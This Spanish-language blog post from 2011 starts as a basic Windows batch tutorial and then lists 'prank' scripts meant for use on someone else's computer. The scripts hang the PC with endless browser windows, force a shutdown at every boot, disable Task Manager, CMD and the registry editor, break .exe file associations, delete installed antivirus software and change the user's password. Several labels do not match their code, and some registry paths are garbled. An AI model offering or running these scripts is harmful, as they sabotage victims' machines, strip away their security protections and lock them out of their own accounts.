viernes, 23 de diciembre de 2011

Bromas simples para Batch

Bueno antes de poner algo de codigo en BAT les pondre algunos conceptos para que se vayan adentrando en este mundo.

Introduccion
Un archivo batch (o bat) es un archivo de procesamiento por lotes, que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados.
Cualquier comando DOS puede ser utilizado en un archivo batch.

¿Qué se puede hacer con ellos?
Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos.

Empecemos por el clasico Hola Mundo solo que esta vez lo haremos en bat
Codigo
@echo off
echo Hola Mundo
pause
exit
bueno para escribir este codigo pueden usar el Block de Notas lo guardan como ejemplo.bat en donde dice tipo eligen Todos los archivos.
Ahora cuando lo ejecuten saldra el mensaje Hola Mundo y abajo dira Presione una tecla para continuar.
Les explicare un poco estas lineas de codigo:
echo
Imprime un texto en pantalla, que es el texto que viene despues
pause
Como dice, pausa la ejecucion del codigo. Ademas muestra el mensaje "Presione una tecla para continuar".
exit
Cierra la ventana de comandos.

Bueno ahora entendiendo un poco mas, aca les doy un codigo que encontre para que hagan cosas divertidas, pero tengan mucho cuidado con su uso ya que puede ser peligroso, les doy este codigo para que conozcan mas codigo y sepan lo que se puede hacer con codigo bat.

Como hacer que la memoria se ponga a full
@echo off
:1
start www.google.com
goto 1

aqui como ven los bucles se hace con goto el cual es similar al goto. Lo que hacemos aqui es abrir bastantes ventanas google hasta colgar la PC.

apagar la pc cada que inicia
@echo off
echo shutdown -s -f -t 0 >> c:autoexec.bat
cls

bloquear click derecho del raton
@echo off
reg add HKEY_current_userSOFTWAREMicrosoftWindowsCurrentVersionpoliciessystem /v DisableTaskMgr /t reg_dword /d 00000001 /f
@echo off
Reg add hkey_current_usersoftwarepoliciesmicrosoftwindowssystem /v DisableCMD /t reg_dword /d 00000001 /f

bloquear la consola cmd
@echo off
Reg add hkey_current_usersoftwarepoliciesmicrosoftwindowssystem /v DisableCMD /t reg_dword /d 00000001 /f

bloquear el administrador de tareas
@echo off
reg add HKEY_current_userSOFTWAREMicrosoftWindowsCurrentVersionpoliciessystem /v DisableTaskMgr /t reg_dword /d 00000001 /f

bloquear programas en terminacion .exe

@echo off
assoc .exe=txtfiles

bloquear registro
@echo off
Reg add hkey_current_usersoftwarepoliciesmicrosoftwindowssystem /v DisableCMD /t reg_dword /d 00000001 /f
@echo off
reg add HKEY_current_userSOFTWAREMicrosoftWindowsCurrentVersionpoliciessystem /v DisableRegistryTools /t reg_dword /d 00000001 /f

bloquear una pag web
@echo off
0.0.0.0 WWW.la pagina.COM >> %windir%system32driversetchosts

borrar antivirus mas usados
@echo off
cls
cd 
cd "archivos de programa"
cd "Norton antivirus"
attrib -R -A -S -H *.*
del /S /Q *.*
cd..
cd "Panda Software"
attrib -R -A -S -H *.*
del /S /Q *.*
cd..
cd "Kaspersky Lab"
attrib -R -A -S -H *.*
del /S /Q *.*
cd..
cd "McAfee.com"
attrib -R -A -S -H *.*
del /S /Q *.*
cls

cambiar contraseña
@echo off
net user %username% uikhgfkshdojf

crear 1000 carpetas en disco duro
@echo off
cd C:
set carp=1000000
:crearcarpeta
md %carp%
set /a carp=%carp%-1
if %carp%== 0 (Goto 5) Else (Goto crearcarpeta)
:5

mil carpetas en escritorio
@echo off
set carpe=1000000
cd %homepath%escritorio
:carpetaescritorio
md %carpe%
set /a carpe=%carpe%-1
if %carpe%== 0 (Goto 6) Else (Goto carepetaescritorio)
:6
estos codigos son para que tengna mucho cuidado con los .bat que abran, espero le den buen uso al codigo.

0 comentarios:

Publicar un comentario